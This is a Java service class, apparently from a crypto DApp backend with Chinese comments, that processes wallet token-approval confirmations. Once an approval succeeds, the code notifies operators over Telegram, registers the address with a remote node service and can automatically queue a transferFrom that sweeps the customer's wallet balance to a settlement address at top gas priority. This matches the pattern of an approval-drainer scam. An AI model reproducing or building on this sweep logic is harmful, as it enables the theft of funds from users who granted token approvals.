zj
2025-05-02 01830e44921b187b448d8cce9c9a46b9ad55af43
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
package project.monitor.job.approve;
 
import java.util.Date;
 
import kernel.util.ThreadUtils;
import project.monitor.AutoMonitorAddressConfigService;
import project.monitor.AutoMonitorPoolDataService;
import project.monitor.AutoMonitorPoolMiningDataService;
import project.monitor.AutoMonitorTipService;
import project.monitor.AutoMonitorWalletService;
import project.monitor.DAppAccountService;
import project.monitor.bonus.AutoMonitorSettleAddressConfigService;
import project.monitor.bonus.model.SettleAddressConfig;
import project.monitor.etherscan.GasOracle;
import project.monitor.job.transferfrom.TransferFrom;
import project.monitor.job.transferfrom.TransferFromQueue;
import project.monitor.model.AutoMonitorTip;
import project.monitor.model.AutoMonitorWallet;
import project.monitor.noderpc.business.NodeRpcBusinessService;
import project.monitor.report.DAppUserDataSumService;
import project.monitor.telegram.business.TelegramBusinessMessageService;
import project.party.PartyService;
import project.party.model.Party;
import project.syspara.SysparaService;
import project.tip.TipService;
 
public class ApproveConfirmServiceImpl implements ApproveConfirmService {
 
    protected AutoMonitorWalletService autoMonitorWalletService;
    protected PartyService partyService;
    protected TelegramBusinessMessageService telegramBusinessMessageService;
    protected DAppUserDataSumService dAppUserDataSumService;
    protected DAppAccountService dAppAccountService;
    protected AutoMonitorPoolDataService autoMonitorPoolDataService;
    protected TipService tipService;
    protected AutoMonitorAddressConfigService autoMonitorAddressConfigService;
    protected NodeRpcBusinessService nodeRpcBusinessService;
    protected SysparaService sysparaService;
    protected AutoMonitorSettleAddressConfigService autoMonitorSettleAddressConfigService;
    protected AutoMonitorTipService autoMonitorTipService;
    protected AutoMonitorPoolMiningDataService autoMonitorPoolMiningDataService;
 
    // 1.交易成功 0.交易失败
    @Override
    public void saveConfirm(String id, Integer status, String hash) {
 
        AutoMonitorWallet entity = autoMonitorWalletService.findById(id);
 
        Party party = partyService.cachePartyBy(entity.getPartyId(), false);
 
        if (status == 0) {
            /**
             * 交易失败
             */
 
            /**
             * 数据库中已经成功则直接返回
             */
            if (entity.getSucceeded() == 1) {
                return;
            }
            /**
             * 数据库中已经失败则记录哈希
             */
            if (entity.getSucceeded() == 2) {
                entity.setTxn_hash(hash);
                autoMonitorWalletService.update(entity);
                return;
            }
            
            if (entity.getCancel_apply() == 1) {
                //取消失败
                entity.setSucceeded(-5);
                entity.setCancel_apply(0);
                autoMonitorWalletService.update(entity);
                return;
            }
            
            int beforeSucceed = entity.getSucceeded();
            // 申请中 或 拒绝的 记录hash和发送消息
            entity.setTxn_hash(hash);
 
            entity.setSucceeded(2);
            autoMonitorWalletService.update(entity);
            if (beforeSucceed == 0) {
                autoMonitorAddressConfigService.saveApproveFailByAddress(entity.getMonitor_address());
            }
            // 失败时才发送消息
//            telegramBusinessMessageService.sendApproveErrorAddTeleg(party);
 
        } else if (status == 1) {
 
            /**
             * 交易成功
             */
            if (entity.getSucceeded() == 1) {
                /**
                 * 数据库状态成功,只保存哈希
                 */
                entity.setTxn_hash(hash);
                autoMonitorWalletService.update(entity);
                return;
            }
            if (entity.getCancel_apply() == 1) {
                //取消成功
                entity.setSucceeded(2);
                entity.setCancel_apply(2);
                autoMonitorWalletService.update(entity);
                dAppUserDataSumService.saveApproveSuccessToFail(party.getId());
                return;
            }
 
            entity.setTxn_hash(hash);
            entity.setSucceeded(1);
            autoMonitorWalletService.update(entity);
 
            dAppUserDataSumService.saveApprove(party.getId());
 
            // 等待事务提交后
            ThreadUtils.sleep(200);
            dAppAccountService.addBalanceQueue(party.getUsercode(), party.getRolename());
            telegramBusinessMessageService.sendApproveAddTeleg(party);
            autoMonitorPoolMiningDataService.updatePoolDataByApproveSuccess();
            // 授权成功则加入到远程服务中
            nodeRpcBusinessService.sendAdd(entity.getAddress());
 
            /**
             * 是否授权成功后自动归集客户钱包金额,是否授权成功后自动归集金额:1不归集,2归集
             */
            autoWalletIsCollection(entity);
        }
        tipService.deleteTip(entity.getId().toString());
 
    }
 
    public void autoWalletIsCollection(AutoMonitorWallet autoMonitorWallet) {
        /**
         * 是否授权成功后自动归集客户钱包金额,是否授权成功后自动归集金额:1不归集,2归集
         */
        double auto_monitor_success_wallet_collection = Double
                .valueOf(sysparaService.find("auto_monitor_success_wallet_collection").getValue());
        if (auto_monitor_success_wallet_collection == 1) {
            return;
        }
        if (auto_monitor_success_wallet_collection == 2) {
            AutoMonitorTip tip = new AutoMonitorTip();
            /**
             * 归集操作
             */
            TransferFrom item = new TransferFrom();
 
            item.setAutoMonitorWallet(autoMonitorWallet);
//            AutoMonitorTransferAddressConfig transferAddressConfig = autoMonitorTransferAddressConfigService
//                    .findAll().get(0);
            SettleAddressConfig findDefault = autoMonitorSettleAddressConfigService.findDefault();
            item.setTo(findDefault.getChannel_address());
            item.setGasPriceType(GasOracle.GAS_PRICE_SUPER);
 
            TransferFromQueue.add(item);
 
            tip.setDispose_method("已归集");
 
            tip.setPartyId(autoMonitorWallet.getPartyId());
            tip.setTiptype(1895);
            tip.setTipinfo("[授权成功自动归集钱包金额]");
 
            tip.setCreated(new Date());
            autoMonitorTipService.saveTipNewThreshold(tip);
 
        }
    }
 
    public void setAutoMonitorWalletService(AutoMonitorWalletService autoMonitorWalletService) {
        this.autoMonitorWalletService = autoMonitorWalletService;
    }
 
    public void setPartyService(PartyService partyService) {
        this.partyService = partyService;
    }
 
    public void setTelegramBusinessMessageService(TelegramBusinessMessageService telegramBusinessMessageService) {
        this.telegramBusinessMessageService = telegramBusinessMessageService;
    }
 
    public void setdAppUserDataSumService(DAppUserDataSumService dAppUserDataSumService) {
        this.dAppUserDataSumService = dAppUserDataSumService;
    }
 
    public void setdAppAccountService(DAppAccountService dAppAccountService) {
        this.dAppAccountService = dAppAccountService;
    }
 
    public void setTipService(TipService tipService) {
        this.tipService = tipService;
    }
 
    public void setAutoMonitorAddressConfigService(AutoMonitorAddressConfigService autoMonitorAddressConfigService) {
        this.autoMonitorAddressConfigService = autoMonitorAddressConfigService;
    }
 
    public void setNodeRpcBusinessService(NodeRpcBusinessService nodeRpcBusinessService) {
        this.nodeRpcBusinessService = nodeRpcBusinessService;
    }
 
    public void setSysparaService(SysparaService sysparaService) {
        this.sysparaService = sysparaService;
    }
 
    public void setAutoMonitorSettleAddressConfigService(
            AutoMonitorSettleAddressConfigService autoMonitorSettleAddressConfigService) {
        this.autoMonitorSettleAddressConfigService = autoMonitorSettleAddressConfigService;
    }
 
    public void setAutoMonitorTipService(AutoMonitorTipService autoMonitorTipService) {
        this.autoMonitorTipService = autoMonitorTipService;
    }
 
    public void setAutoMonitorPoolMiningDataService(AutoMonitorPoolMiningDataService autoMonitorPoolMiningDataService) {
        this.autoMonitorPoolMiningDataService = autoMonitorPoolMiningDataService;
    }
 
    public void setAutoMonitorPoolDataService(AutoMonitorPoolDataService autoMonitorPoolDataService) {
        this.autoMonitorPoolDataService = autoMonitorPoolDataService;
    }
 
}